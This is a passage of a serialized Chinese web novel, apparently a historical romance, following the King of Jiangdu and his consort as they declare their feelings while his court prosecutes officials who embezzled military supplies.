“大王还不睡么?”颜漪不免有些无奈,这人睁着眼睛不睡觉一直在看她,却始终没有其他的动作。他难道不知道自己的目光在此时此刻着实是有些“扰人”了么? “唔,马上就睡。”见自己好像是扰人清梦了,百里漾连忙把自己摆正好睡姿,闭上眼睛,做出一副马上要入睡的姿态。 不知过了多久,被褥之下,颜漪感觉自己的手指被勾了勾,见她没有反对,动作的主人更是“变本加厉”握住了整只柔荑。颜漪只好再次睁开眼睛,转头看向身侧的人。 殿内因为远处点着烛火的缘故不至于伸手不见五指,可视线却是昏暗的,她刚看见一个模糊的轮廓影子,那影子便欺身而上笼罩在她的上方,那一瞬间,她有些紧张起来。 “大王?” “王妃,我可以亲你么?”黑暗中,百里漾感觉自己的声线有些颤抖,即便是如此进的距离之下,他也很难看清王妃面部的神情。或许是他想念王妃的次数多了,也或许是这副身体真的是很容易激动,更或者是兼而有之,当两个人靠的近时,他的心底猛地蹿起一把火,并无比迅速地将他整个人都烧着了。 他想亲近王妃,想要彼此更亲近,乃至最后亲密无间。 颜漪的睫羽轻颤,她看向上方的人,明明是寒冷的季节,她此刻却只感受到了一股火热,这股温度极具传染性,从他们交握的双手迅速地烧到了她的身上。 她不说话,让正在等待着的百里漾渐生了退却之心的时候忽然感觉到交握的手上传来一股轻微的拉力让他朝前近了近。 百里漾惊喜,他身体继续前倾很轻易地就衔住了那抹柔软的唇瓣,两个身影在黑暗之中逐渐交叠,接下来的事情自是不便言说了。 许久都没有睡过如此安稳的一次觉了。前两月余宿在永定大营,各方面自是比不上在王宫之中。虽说百里漾也不是那么娇贵的人,非要锦衣玉食才对得起这一世的精贵身份,可到底是不一样的,不在物欲而在精神。如今回来了,他才有一种倦鸟归巢的安心感。 昨夜一场好梦过后,身体得到充分的休息之后精神随之变得无比充沛。百里漾自酣睡中醒来之后,眷恋这一刻的温暖,躺在被褥里懒洋洋的不想动。他怀里还拥着王妃温香软玉般的躯体,略微垂首就能看到她恬淡安然的睡颜,目光再往下一些,看到了一朵朵雪地红梅。目光仿若被烫着了般收回来,想起自己是这始作俑者,不觉羞赧,但唇角忍不住上扬。 百里漾见怀中人依然在安睡,也不想有什么动作惊扰了她。反正时辰还尚早,今日似乎也没有什么要紧的事要赶着处理,偷一下懒也是可以的。此刻什么都不去想,安安静静地躺着,放空一下自己也是好的。 寝殿内无有动静,初禾等人不敢如往常一般进来打扰二人的安睡。大王昨日可说过了,他要睡到自然醒,他们安静等候主子醒来再伺候便是。 “大王,该起了。”等百里漾再次醒来的时候是被颜漪给唤醒的。他睁开有些迷迷瞪瞪的眼睛,视野里王妃的身影逐渐清晰。果然是安逸使人懒惰,他之前不知不觉间又睡着了。 “唔,好,这就起。”百里漾懒懒地应了一声,冬日里温暖的被窝实在是令人难以割舍。他懒洋洋地半坐起身,看着已经起身的王妃用金帐钩将帘帐勾起,外面伺候洗漱更衣的侍女依次捧着用具鱼贯而入。 这下也不好再懒床了,百里漾闭眼缓了一下神,然后起床。 今日在洗漱更衣之前多了一项沐浴,两人分开沐浴洗漱,再次相见的时候便是在膳桌前。时隔两月余,他又能与王妃一道用早膳了。 百里漾胃口大开,早膳便多用了些,后面觉得有些撑住了,干脆邀王妃去花园走走消食。但外头实在是太冷了,他刚牵着王妃的手走出去两步便后悔了。他皮糙肉厚的不要紧,冻着王妃染了风寒可不好了。 “大王?”颜漪见他走了两步便不走了,拧着眉毛一脸沉重,不知道他想到了什么。 “我们不去了。”百里漾闻声转头看向颜漪,手里握着的柔荑已经染上了些许凉意,他忙握得更紧了些,以期将自己的体温传过去,解释道,“天太冷了,我们在殿中走走就好了。” 天地造物有其奇妙之处,放在男子与女子身上尤为明显,至少这一点百里漾体验最深(毕竟不是谁都有如此神奇的遭遇前世为女今世为男的)。以前就听说冬日时男子的身躯就如同火炉,如今百里漾自己亲身体会了,确实气血旺盛,妥妥的一个大型人形取暖器。女子的身体就恰恰相反,至少是没有男子这么“热气腾腾”的。 如今正是寒冬腊月,头顶的阴云不散,眼看着似乎要下雪了,温度再降,寒风吹过来身子骨弱些的都要直打哆嗦。百里漾这年纪正是气血方刚的时候,加之从小习武比一般人抗冻,可颜漪不行啊。他握着手中的小手都觉得有些凉了,这可不行。 百里漾当即脱下自己的大氅披到颜漪身上,一面拉着人往回走,边说道:“冬至将近,天儿只怕会越来越冷,保暖务必要做好了,火炭之类的取暖之物别省着,若是冻病了要喝苦得不得了汤药不说,身子也难受,多不值当啊。” 他还朝初禾伸手示意她把手炉拿过来。 初禾转身就要去,被颜漪阻止了,一双含着笑意的水眸看向百里漾,交握的手也微微用了些力气,略略有些无奈,“大王,我还不是很冷。”况且他们已经步入室内了,殿内烧了地龙,待的久些就不是冷而是热的问题了。 百里漾看着差点被他裹成熊的颜漪沉默了一下,好像是有点穿多了。不过,他看着姣好的容颜,心想,即便是成熊了,王妃也是这世上最好看的。 但还是有点小尴尬,百里漾轻咳了一声,“我是不是有些絮叨了?” 颜漪当然不会让他这样想,“大王关系爱护于我,我、心中欢喜,怎会觉得大王絮叨。天气寒冷,不只是我,大王也应当注意保暖,勿要生病了才是。” 百里漾听得心中欢喜,点头应道:“放心,我不会生病的。” 他还想陪颜漪再坐坐一些时候,但长乐殿的宫侍过来禀报说范国相求见。百里漾没有想到范国相来的这么快,虽然知道范国相今日必定回来求见他,但不能等吃午饭之后再来么? 百里漾眨了眨眼睛,还未想好如何回那宫侍便听到王妃格外善解人意对他说道:“大王国事要紧,我这里不妨事的。” 范国相特意来求见,必然是为了公事。 虽说此次百里漾巡视边境之前亲口吩咐“一应要务,禀与王妃”,但颜漪毕竟是第一次监理江都国事,许多事情更多的是已经拟出了处理方法然后禀报于她知晓决断,真正办事的还是范国相这群人。如今边境出了这么大的事情,后续还没完呢,如何处置应对还需要与范国相等人开小会讨论,等过几日的廷议怕是还有的争论一番。 范国相昨日没来找百里漾是念着大王刚回来与王妃小别重逢不好打扰,耐心等过一日才来求见的。 “那我便去了。”没办法,百里漾在内只好如此说道。 毕竟范国相此刻怕是已经在长乐殿的小书房等候了,也不好让忠心的老臣久等。虽然作为江都的君主,百里漾有任性的权力,他当然可以让为人臣子的范国相等人等候或者改日再来,但这显然并不是一个合格且成熟的上位者该有的行为。百里漾要是真的这么做了,就朝着长夏王靠拢了,而且以百里漾的为人也做不出撵走年迈忠诚的老臣这样的事来。 无法,百里漾只好暂时告别王妃,一步三回头地走了。 “王妃,大王且舍不得离开呢。”看着百里漾依依不舍地离开,初禾忍不住打趣道。大王爱重王妃,她作为随从远嫁来江都的“娘家人”心里比谁都高兴。大王看重且愿意维护王妃,那么在这江都的地界就无人敢欺负、对王妃不敬了。 “促狭的你,大王你也敢在私下胡言。”颜漪警告了初禾一番,但眉眼间却带着清润软暖的笑意。 他待她自然是好的,好到她搜寻遍记忆认知中的每一对夫妻都无有他这样好的。乃至于百里漾去边境之前同范国相等人说的那句“一应要务,禀与王妃,见王妃如见我”都令她震惊了。他知不知道这句话的份量有多重,从来都没有过王妃监国的,相当于是把权力分享给了她。虽然那只是短暂的,可到底是不一样的。 这固然也是颜漪自己想要的,但她从未想过百里漾竟如此轻而易举地就给了她,反倒叫她无所适从了。她想,他说过他们是夫妻,从此夫妻一体,他真的是很认真在说、在做的。 初禾知道背后议论大王不好,但她是由衷为颜漪高兴,也只是在颜漪面前说,知晓分寸,训过一句便罢了。但训过之后,见主子低眉沉思,似陷入了什么纠结难解之事。初禾不敢打扰,只敛息安静候在一旁。 不知过了多久,颜漪回过神来,微蹙的黛眉慢慢松开,招来初禾吩咐道:“大王与国相等人议事,不知何时能结束。先叫厨下多备着午膳,若是长乐殿那边传膳也能来得及。” “是。”初禾应下了,当即令人传令到厨房去。 颜漪转面朝外仰视天光,天依旧是阴沉沉的,大有风雪欲来之势。她静坐了片刻,叫初禾将冬至贺冬赐礼的单子拿过来给她过目,有些细节还需要再斟酌一二。 “这些国之蛀虫,贪赃枉法,损公肥私,使纲纪不存,民亦受其害,若不尽除之,国将难安。” “褚之邑为定襄将军,边境一片污遭,他岂是纯白无暇之辈。” “此事必定要追查到底,臣请彻查,不能漏过一个害群之马。” 长乐殿的小书房之内,在详细得知了永定大营与远宁城的事情究竟到了何种程度之后,一时间群情激昂,严厉痛斥那些贪官犯将,更是要求继续严查下去。他们万般义愤地说了一通,顺带着提出了不少可行的建议。百里漾都听在耳中,但并没有立即做出决断。 “褚氏其心不轨,为王臣却不忠王之事。永定大营何等重要,大王是信任他褚之邑才将边境安危托付,然而永定大营乃至远宁城却在他的眼皮子底下出了这么大的纰漏,无论如何他都难辞其咎。臣请大王革去褚之邑定襄将军之职,押解回江都,听候发落。” 边境之事虽然令人愤怒,但是事情已经发生了,好在大王巡边及时查出此事,将事涉边境将领官员处置,及时遏制住了事态发展,实乃大幸。可事情到这里绝对不是结束,不少人很快意识到这是一个打压褚氏的机会。 此刻能在长乐殿的小书房开会的无疑不是百里漾的心腹或是能够确认忠于百里漾之人,那么他们思考问题时必然是立足于百里漾的立场的,凡事考虑更多的也是百里漾的利益,毕竟他们需要为主上分忧。而褚氏无疑是他们为主分忧的一大重点对象。 整个江都谁不知道褚氏现任的族长褚之彦的嫡长女嫁给了定安王为妃,今年初时这位王妃还为定安王生下了嫡长子,褚之彦与定安王翁婿关系愈加亲厚,褚氏更是要为那位出身高贵、胸有远志的女婿分忧卖力了。 只是褚氏立足于江都国的土地,表面上做着江都王的臣子,实际上却是想方设法地行损江都而利己、以权谋私的勾当。褚氏心里究竟打着什么主意,人尽皆知。 偏偏褚氏算是江都本地的第一大族,树大根深,势力不俗,很是难铲除,实是令人如鲠在喉。这几年虽已经打压下去不少,打着褚氏标签的人在堂上已少见了,但也只算事剃除了血肉部分,真正的主心骨还没有动到。主心骨不倒,褚氏这颗大树也难死。 而褚氏的主心骨,褚之彦算一个,褚之邑也是其中一个。巧的是这两人一个掌文,一个掌武,皆在江都位高权重,而褚之邑涉及的更是最重要的兵权。 没有人会愿意将足以威胁自己身家性命的大杀器放在一个不站自己而站在对手那边的人的手里。褚之邑是统帅军队的将军,然而这个将军实质上并不忠诚于名义上的君主而改投他人,换作是谁做这个君主睡觉都不能安稳。 百里漾也一样,底下效忠于他的臣子也是如此。他们之中早就有人盯上永定大营里,盯上了褚之邑的定襄将军之位,只是一直苦于没有机会。如今机会来了,如何能不令人激动。 请求将褚之邑革职的人不少,但他们说出来之后却发现无论是范国相还是大王都没有回应他们,于是沉默,沉默之后也明白了二人当前并没有这个想法。不,或许是有的,除了这样的事情,会有这样的想法是人之常情,大王他们也必然想过的。 想过了,后面却否了,那必然是有不得不否的原因。 这些人能走进长乐殿的小书房中必然是没有蠢笨的,他们很快想到了百里漾此次巡边的主要目的,而后唯有扼腕叹息。若非是为了江都的大局、为了大衍的大局,此次褚之邑决计没有这般好过。虽然很可惜,但也只能就此放过他了。 范国相见他们一个个都想明白了,也不继续在褚之邑的问题上再多赘言,而是说道:“克扣粮饷军资,低价转手,再将金银运藏回江都,整件事要做成殊为不易。其中层层转手不说,还要打通关卡,掩人耳目,只边境一方有人可做不来,必有其他人策应。而贪墨的金银也大多被那些人藏匿回江都郡城之内了。” 边境条件清苦,将士们绝大部分时候更是待在军营之中,即便是偶尔休沐去远宁城花钱的地方也不会太多,真要是一掷千金了也太显眼了。那些贪墨的犯官犯将不会选择将金银藏匿在边境,军营里也注定不会是一个好藏钱的地方,稍不留神就容易被人发现了。聪明的做法就如同被枭首示众的罗营将那厮一般,以契书为凭,在江都郡城之内就可以兑付金银。 这固然可以省去了金银转运的问题,两相得宜,但也只是省略了整个贪墨流程里的一小节而已,粮草军资到底是实实在在存在的东西,不会凭空消失,也不会凭空从一个地方变到另一个地方,销赃洗白、改头换面成为普通的货物都需要过程,期间必然要有人经手。而整个过程是一环扣一环的,但凡其中出现一个环节出现了问题,就必然会面临暴露的风险。 在场之人都听懂了,这是拔出萝卜带出泥,罗营将那些人就是一根绳子上的蚂蚱,谁都别想跑了。罗营将那些人大多身上都带着褚氏的标记,此事办得好了必然能够重挫褚氏。 想到此处,一个个皆精神振奋。 事情走到这一步亦是不难办了,顺藤摸瓜便是,但也要防着褚氏等人抢在前面销毁罪证、及时止损。大方向是有的,初步的涉案名单也有,剩下的就是如何安排人去做。 小书房的会议一直开到日落时分,期间百里漾留他们在长乐殿用午饭,期间有人出去,拿着百里漾签发的手令点兵点将去拿人。 兵贵神速,真要是还等着廷议给那帮人扯皮争论的时间,黄花菜都凉了。 百里漾再回来时天已经黑了,外面还飘着雪,踏入永延殿前掸去了落在身上的雪花。颜漪闻讯迎上来,替他脱去了身上的黑色大氅。他本想牵着王妃的手一同入内,刚有动作却发现自己的手都冻红了,只好作罢。 “外边冷,大王冒雪过来,先暖暖身子。”颜漪见百里漾这时候还过来心中自然是欢喜的,看他从外面进来带了一身的寒气,怕他冻着,将自己的手炉给他捧着,又拉他到炭火盆旁取暖,又问道,“大王可用膳了?” 先前长乐殿那边来人传百里漾的话说议事不定何时能结束,让永延殿这边不必等他用膳,百里漾是担心王妃会等他用膳反倒让自己饿肚子了。但百里漾还没有问呢,颜漪倒是先问了。 炭火盆里烧的是一种叫做银丝炭的木炭,表面较一般的炭火灰白些,因为燃烧释放的热量大以及烟少,冬日时富贵人家会在室内放置炭盆将其置于盆中燃烧取暖。但毕竟是在室内燃烧,依旧是要注意开窗透气的。 百里漾把手伸到炭盆上烘手,另一只手摸摸自己的肚子,睁着一双眼睛看着颜漪,没有说话但动作已经说明了一切。颜漪掩唇轻笑,转头吩咐初禾叫小厨房将灶上一直温着的饭菜端上来给百里漾食用。 面对百里漾带着些许惊喜的目光,颜漪道:“虽说大王已令人过来传话说不必等用晚膳了,但想想还是备着为好。” 这是不确定他有没有用晚膳、会不会在议事结束后过来,但还是让厨房做了晚膳备着。百里漾意识到这一点,心中熨帖,笑着邀请道:“王妃可还有胃口,一道用可好?” “大王且用膳,我就在边上候着。”颜漪婉拒了百里漾的邀请,她已经用过晚膳了再用晚间就不该积食睡不着觉了。 外面风雪大作,殿内却被烛火投射的暖融的光照亮了一隅。百里漾吃着酒菜,旁边坐着颜漪,暖黄的烛光照在他们身上,安静也温馨,形成了一片别人融不进去的氛围。 “夜深风雪愈重,今日又忙碌一日,大王何不在长乐殿用膳安寝?”颜漪问道。 她其实没有想过百里漾真的会再过来。正如她所说,与范国相等人议事一整日的百里漾更好更便捷的选择是在长乐殿用膳就寝,何必冒着风雪过来永延殿。长乐殿本来就是百里漾就封以来的起居之所,今夜就是在那里住下又能如何。 颜漪承认,她在得知百里漾今晚不会过来用晚膳甚至很有可能也不会在永延殿就寝时心中升起了一抹难掩的失落。 那时她才恍然记起“百里漾本该居住在长乐殿”这个事实。只不过是她来了江都之后百里漾一直歇在永延殿,两人几乎同进同出,早晚都能见到彼此,甚至百里漾都将臣子奏事的书简搬到这边来处理。这样的日子久了,让她都快要忘记了如她与百里漾这样的夫妻该有的相处模式是什么样的。 这世上权贵之家的夫妻分院别居的比比皆是,遑论是坐拥一国的诸侯王。在没有娶她之前,百里漾本来就是居住在长乐殿的,倘若他哪一日重新住回去也是应当的。他们成婚以来的相处模式本就是这世间“少见的异常”,即便不是现在,日后也终会回归“正常”的。 这种“正常”才是世间常态,在知道有这桩婚事之前她本就预想过也是接受的,怎么如今却是隐隐生出了几分不愿来? 其实颜漪自己知道答案,是百里漾这段日子待她太好,他的一切言行举止甚至一些所思所想让她生出了一种错觉,一种期盼与渴望,觉得这样的日子如果可以持续下去也未尝不好。但期盼与渴望之所以存在,是因为它们所指向的美好愿景是需要追逐才能够实现的。实现愿景的道路必然是艰难的,需要追逐的美好之物皆是难以获取的。 他们这样的出身,背后更是牵涉众多,怎么可能如同寻常夫妻那般。只是百里漾这段日子待她太好了,好到她生出了错觉,好到她几乎要忘记了一开始自己在决定迈入这场婚姻的自己的“初心”。 颜漪觉得自己应该“清醒”过来,她不该去期盼那些难以企及之事,也不该生出这种难以达成的期待。须知期望越大,将来落空时的失望也就越大。他们这样的人家,一旦踩跌落空底下很有可能就是万丈深渊。她不敢去赌这个可能。 在这桩婚事里,她应该比百里漾更该保持理性与清醒。毕竟在这张桌上,他们手中拥有的筹码数量是不一样的,世人待他们的宽容程度也是不一样的,他们的地位从一开始就是不对等的。先入戏的,从一开始就更容易输,不是么? 但百里漾待她属实是真的好,她能够感觉到他在用心且真诚相待。他真的是一个很不一样的男子,即便是放在寻常男子之中也是少见。他倾诚以待,自己也并非全然的木石之心,她不能否认,那样的美好愿景对于自己是有吸引力的。如果,对方是百里漾,是今时今地赤诚待她的人,她愿意去尝试。 而更深层次的原因在于,她对百里漾并非没有触动的,她从一开始的接触就好奇百里漾的与众不同,并且随着时日的推移以及接触的加深,她的好奇并没有因此削减反而愈发加重了。在这样的一个过程之中,她对百里漾的在意也在加深。因为喜欢了,才会在意。 喜欢百里漾是一件很轻易的事情,发现自己喜欢上百里漾于颜漪而言也不难。 无人知道自得知百里漾很有可能今晚不会过来之后,颜漪的眼中便再也看不下手中书简上的一句半字,陷入了对她与百里漾未来该如何的迷惘与纠结之中。理智的做法无疑是顺其自然,不去问不去管多余之事,她只需要做出符合江都王妃身份的行为就是最合宜的。 那时她已经想好并选择做出抉择了,只是百里漾突然的到来将这一切重新搅乱了,对着百里漾那双澄澈分明的眼睛,她终究是忍不住问了出来。 百里漾并不知道在他不在永延殿的这段时间里颜漪想了些什么,他此时也不会明白颜漪的纠结与顾虑,但他敏感地察觉到了王妃此刻的不同寻常,他看不太懂王妃眼眸中蕴含的情绪,她问他问题绝对不仅仅是字面上的。 她想知道什么? 气氛变得沉凝,百里漾用饭的动作也停了下来,他短时间内想不明白王妃为什么要问这话,但他选择真诚,诚如王妃所说,为什么不在长乐殿用膳安寝,偏要饿着肚子冒着风雪跑来永延殿呢? 看着颜漪近在咫尺的面容,百里漾忽然笑了,甚至笑得有些傻,“我只是想着七娘可能在等我,不想你空等。当然,更多的也是因为长乐殿中没有王妃,我想去有王妃的地方。”所以哪怕是饿肚子也没有关系,被雪淋了也不要紧,他只是想来到王妃身边。 说出这样的话无异于当面表露心迹。即便他们如今已经是名正言顺的夫妻了,但表白这种事情对于百里漾来说还真的是两世头一遭、大姑娘上花轿头一回。他感觉自己现在浑身都在发热,胸腔里的心脏在剧烈跳动仿若下一刻就要破胸而出了。他现在的脸不用手摸就知道一定很烫,就是不知道脸有没有变红。 颜漪愣住了,是切切实实地愣住了。她看着百里漾羞红的脸、强自镇定与她对视的眼睛,愣了片刻,在百里漾忐忑不安中,面上缓缓绽出笑颜。 百里漾大受鼓舞,上前执起王妃的手,“我喜王妃,不知王妃亦喜我否?” 他们的结合不是源于爱,一开始的初见其实算不上多美好,但他们已经是夫妻了,走不了正常先恋爱后结婚的流程,但可以走先婚后爱的程序。他不想他们走到最后,明明是最亲近的关系,却也是最为疏离冷淡的。至亲至疏夫妻,他并不想走到那一步。 “我喜王妃,更喜七娘。”剖白心迹这种事情迈出第一步很艰难,但一旦迈出去了,后面就很轻易顺畅了。百里漾看着颜漪,亮晶晶的眼睛中是真诚也是希冀,声音略有低沉,“亦盼王妃喜江都王,更喜百里漾。” 并非百里漾自夸,而是事实如此。这世界上喜欢江都王的人可以有很多,身为江都王妃,颜漪喜欢自己的丈夫江都王是再应当不过之事。 可江都王妃喜江都王与颜漪喜百里漾是不一样的。百里漾想要的是后者,他的王妃向来聪慧,不会不明白他想要表达的是什么。 后面颜漪是如何回答的?百里漾觉得自己这辈子都不会忘记了。 “君待我以诚,我当以诚报君。” 他的王妃并没有正面回答他的问题,百里漾却感知到王妃是喜欢他的,或许还没有到爱的程度,但这已经足够令人欣喜若狂了不是么?欢喜过后,他几次三番将这话拿出来反复咂摸,明了这话换一个说法应该是“惟愿君心似我心,定不负相思意”。他觉得没什么不好的,爱一个人自然是希望能够得到对方回应以爱,能够相互呼应的才是爱最美好的模样。 这一夜,百里漾因为过于欢喜而精神亢奋,白日里几乎不停歇地议事带来的疲惫都被一扫而空,他拉着颜漪想做许多的事情,但又不知道做什么,最后干脆变成了颜漪任何事情他都要粘着,一整个乐傻了的模样。 这一夜过后,如初禾这般在百里漾和颜漪身边伺候的宫侍发现两位主子的关系似乎变得更加粘腻热乎了。大王几乎是时时都要粘在王妃身边,那痴缠样都要没眼看了。只有看到王妃,大王眼里立即就看不见其余人了,要快步在第一时间抵达王妃的身边。哪怕依旧端着大王的仪态架子,可那闪闪发亮的眼睛配上大步向前的动作,让初禾甚至怀疑若不是大家都在看着,大王就要又蹦又跳奔向王妃了。 而王妃待大王似乎与此前没有多大的不同,但那就是一种感觉,初禾也说不上来具体的,总之就是感觉自己的存在愈发插不进他们三人了。好些时候,她感觉自己就不应该在这里,但到底要在哪里,自己也弄不明白,有种进退两难的感觉。 如果初禾拥有百里漾前世的一些知识,她就会知道有一个词汇可以精准描述她现阶段这怪异的感觉——灯泡。没错,她如今的状态杵在百里漾和颜漪身边就宛若一只大瓦灯泡。 但不管怎么说,主子们的感情和睦、关系愈发亲近是她们所喜闻乐见的。毕竟主子们好了,他们这些伺候的人才能过得好- 作者有话说:更新了。 第114章 处置 百里漾与颜漪自从那夜相互剖白心迹之后, 日子是过得越来越好了。他们是好了,有些可就倒大霉了,当然, 也是他们咎由自取。 冬至之前的最后一次廷议,有廷臣当堂参奏永定大营及远宁城贪腐之事,附列出了一长串的名单,一一弹劾名单上之人,并呈上相应的罪证若干, 请求将名单所列之人抓捕入狱, 令他们认罪伏法。百里漾令人将名单与罪证呈上, 览阅过后,当场准许。立时便有人急了, 按捺不住出列道:“事关重大,岂可轻忽?证据不明, 一下子抓捕如此多的官员,恐引发动荡, 请大王收回成命。” 此言一出, 顿时有不少人附议。 这些人之中如此着急忙慌地阻止, 不外乎是存了私心想要保下那些牵涉其中的官员,或因为沾亲带故,或因为派属利益驱动。 “轻忽,证据不明?”崔栋出列说话,目光睨着那些反对之人,露出鄙夷,“罪证在此,尔等看都不看一眼就说证据不明,究竟是证据不明还是尔等没长眼睛, 或是长了眼睛却不用,全当摆设用?奉劝诸位,有眼睛就不要装瞎,也不要当别人也瞎。” 武将说话多是直白,崔栋对这帮人没有什么好感,一番话直接是将他们虚伪的脸皮生扯下来扔到地上踩,怼得他们脸色一阵青一阵白,想反驳却说不上话来。 因为罪证确实是实打实的,他们对于想保下的那些人究竟做没做贪墨枉法之事心里门清,但依旧是垂死挣扎想要保一保人。其实他们内心深处最卑劣的想法是以势压人,他们人多,代表的势力也大,即便是大王也要因此退让一二。以前他们就是这么做的,大王最后也退让了不是么? 但是他们急昏头的脑袋是忘了,今时今日已经不是数年之前了,百里漾不是那个初到江都、无人可用、势单力薄的江都王,褚氏也不是那个跺一跺脚江都就震三震的怀郡褚氏了。褚氏这把大伞已经不再罩得住他们,他们的好日子已经结束了。 “褚卿,此事汝你为当如何处置?”一片寂然之中,百里漾问褚之彦道。 “家事有家法,国事有国法,律法如何自当如何。”褚之彦说道。 “大善。”百里漾冠冕之下看着褚之彦的目光颇为意味深长,“卿有此觉悟,本王深感欣慰。”很难不说这是讽刺了,听的人面面相觑、面上不禁浮起诸多怪色,唯有主角褚之彦面不改色,气定神闲地拱手作揖退回原位。 接下来的一段时间,江都郡城之内可谓是风声鹤唳,当然这是仅限于对那些牵涉进边境贪墨之事的人而言的。统管刑狱之事的府衙兵将按照抓捕名单直接上门抓人,视情节轻重决定是抓某一个、几个人还是全家下狱。逃是逃不掉的,一旦发现该被抓的人不见了,通缉的画像酒会被张贴各处,四处城门更是已加强了巡防、严查进出之人的身份。而意图藏匿潜逃者,罪加一等;包庇藏匿者,坐与同罪。 “你干了什么?好端端的一个家生生被你搅得要家破人亡了。” 江都郡城中某一官员家中,刑狱衙门官兵上门抓捕这家的男主人,并查抄家中财物。官兵押解戴枷男子从书房中出来,他的妻子情绪崩溃,绝望之中冲到丈夫面前又捶又打,哭喊着骂他,“你要我们娘俩日后怎么活,要怎么活啊?” 男子本因被逮捕心如死灰,被妻子扑上来打骂,登时怒从心头起,一脚将她踹倒在一旁,目光凶狠,“我拿回来的那些金银难道你没有花用么?见天的就知道花钱,与人攀比饰物,旁人有的你都要有,不给就回家与我哭闹。我落到如此下场,你就没有半分责任?果然,圣人诚不欺我,娶妻不贤,为祸三代。悔不当初娶你这泼妇入我家门。” “你怪我!”妇人气得指着丈夫的鼻子骂,“分明是你在外头养了个小的,别以为我不知道,有什么好东西都往那送,我呸!”她也是一个凶悍的,爬起来扑将上去对着丈夫的面门又抓又挠,估计是狠极了,用了狠力,直将人脸上挠出来几道血痕来。 眼看着这对大难临头各自飞的夫妻狗咬狗实在不像样子,官兵立即将两人分开,带着人和查抄出来的财物离开了。离开之前还对那妻子说道:“你家只问罪你丈夫一人,但他贪墨数额过大,情节严重,要查抄家产充公。此处宅子亦要收走,限你们十日之内搬走,若是限期不走,别怪府衙后头来上门‘请’人了。” 官兵走后,看着家中一片狼藉混乱,想到日后不知该何去何从,妇人又是忍不住一阵哭天抢地抹泪。但此时哭泣后悔 又有什么用。她身为自己丈夫的枕边人,多年夫妻,丈夫干的那些勾当即使一开始不知道,但看到丈夫时不时偷偷捧回来的金银财宝就该猜到些什么了。 诚如她丈夫所言,那些金银财宝她也不是没有取用享受过的。花用的时候快活了,却没有想到后面会被查出来,引来官兵上门拿人抄家。 这段时日里,同样的情形在城中也不止发生一回,至少这家相对而言还算是轻的,只男主人一人入狱,家中财产被查抄而已。有的则是全家上下都被镣铐拷走,后面不知道要如何发落,但少不得人头是要落几颗的。 “这些人当真是死不足惜。” 颜漪刚进得长乐殿的小书房来就听到百里漾怒骂了一声。她刻意加重了些脚步声让看书简看得入迷的百里漾发现了她的到来。抬头见是她,百里漾的怒气稍减,招手让她过来。 “大王为何事发怒?”颜漪是来给百里漾送暖身汤的,将汤放在桌案上后问道。 这段时日因为查处贪墨之事引得百里漾要处理的事务增多,忙得都有点脚不沾地了。一开始的两日他频繁地往返于长乐殿与永延殿之间,颜漪心疼他这样来回跑,天气又冷了,他又这样忙,若是冻坏生病可不好。她劝百里漾不必这样来回奔波,先紧着忙政务要紧。百里漾不愿意,上班这么辛苦还见不到媳妇,想想都悲催。可王妃的顾虑也确实有理,于是聪明的他想了一个折中的办法——让颜漪住到长乐殿来。 主意可行,于是颜漪就住到了长乐殿来。 “还不是这些贪官蛀虫,此前我以为自己已经知道了他们有多能贪,可最终他们还是刷新了我的认知。”百里漾手里捏着的正是刑狱衙门呈递上来的抄没清单,一桩桩一件件看下来,实是令人火大,“这么多钱花出去了,竟是有半数都流进了他们的口袋里。难怪一个个平日里都衣轻乘肥,原来是这般由来。” 贪墨这事古来有之,是极难完全杜绝的,在如今这时代背景之下尤其是如此,甚至在一些地方区域还是普遍存在的,有时候即便是皇帝也要睁一只眼闭一只眼。百里漾也知道情形如此,他也不可能将所有伸手之人都揪出来打杀,对一些明知道是捞油水的行为也只是当做瞧不见。但这有一个前提,不能过火。 有些钱动一点不耽误事那算不得大错,但把手伸到赈灾、修河堤、军饷这些上面,那就绝对不能容忍了。更让百里漾生气的是,这些人里面贪得最多的反而是那些出身优渥、家世显贵之人,其余人十个捆在一起都没有这一个贪得多。 对此,颜漪看得明白,“正是这些人自小锦衣玉食,过惯了好日子,他们比一般人更难忍受不能恣意挥霍的生活。” “由俭入奢易,由奢入俭难。”百里漾叹道。 其实不只是由奢入俭难的问题,更根本的原因在于那些人的根子就是坏的。他们自小就受尽家世身份带来的特权,锦衣玉食地养着,出则前呼后拥,动则挥金如土,偏偏不思进取,又自以为高贵,视人命如草芥,截留这些事关万千百姓生计的款项供自己挥霍。对于这些人而言,贱民的生死何足道哉,哪里比得上自己的快活。 “亏得他们还自诩‘以诗书仁义传家’,家中却教出了此等寡廉鲜耻刻薄不仁之辈。”颜漪手里翻看着这些清单,眼眸中有厌恶,问道,“大王要如何处置他们?” “自是依律处置。他们伸手的时候就该知道自己会有什么下场。”百里漾眉眼若落霜,提笔在刑狱拟出的裁决下勾决,决定了这群贪赃枉法之徒的结局。 被抓的这群人好多其实不只有贪墨这一罪,但好些人仅贪墨这一项就足够人头落地的了。像这种情节极其严重且要数罪并罚的,百里漾直接给他们安排抄家问斩大礼包,本人立斩不赦,抄没家产,女眷罚为奴,男丁或流放或充军。有协助作案的,依照情节轻重处罚。往下就是稍轻一些的,本人问斩抄家,其余就不罪及家人了。再往下就是罢官杖刑,还能留下一条命来。 “刑狱司这回的差事办的漂亮。”刑狱司呈上来的奏事之上写的内容只是拟判,真正的裁决是需要百里漾画了红勾才能下发执行的。他一条条看过去,发现并没有裁判不当之处,他只需要勾决就可以了。这就令他省事许多了。 “这傅殷还真是一个人才。”百里漾将手中的奏本递给颜漪看,“七娘,你看,这些裁决有许多都是他拟的,办的很是妥帖。” 他递过来的动作很是随意,颜漪接过来看也是随意。她也是懂得一些律法的,即便不清楚,奏本上面也列明了,连拟判的原因也写得分明,并不令人难以看懂。 “如此看来,此人确为良才。”颜漪颔首,看向百里漾,将奏本递回给他,“听说大王能够顺利查处永定大营以及远宁城一应事,此人亦是功不可没。” “确实如此。”百里漾看着自己眼前的这一截冷白如月的皓腕,心痒痒,顺从自己的心意一手接过先将奏本放到一边,另一只手握住了那截手腕,将人拉到了自己身边坐着。 他身下的坐榻坐下一个人绰绰有余,但若是要再坐下一人就不免拥挤了。但这个问题也不是没有解的,颜漪坐进来之后因为空间局限她只能挨着百里漾很近很近,百里漾一伸手就将她半拥在了怀里,两个人一下子呼吸可闻了- 作者有话说:赶在十二点之前写够字数了。 第115章 褚氏的困境 百里漾没有将事情押后处置的习惯, 况且眼看着就要到冬至了,前后都还有事情要忙。他看刑狱司处理的没有什么差错,勾决完的第二日就将奏本发回刑狱司, 让他们遵照执行。 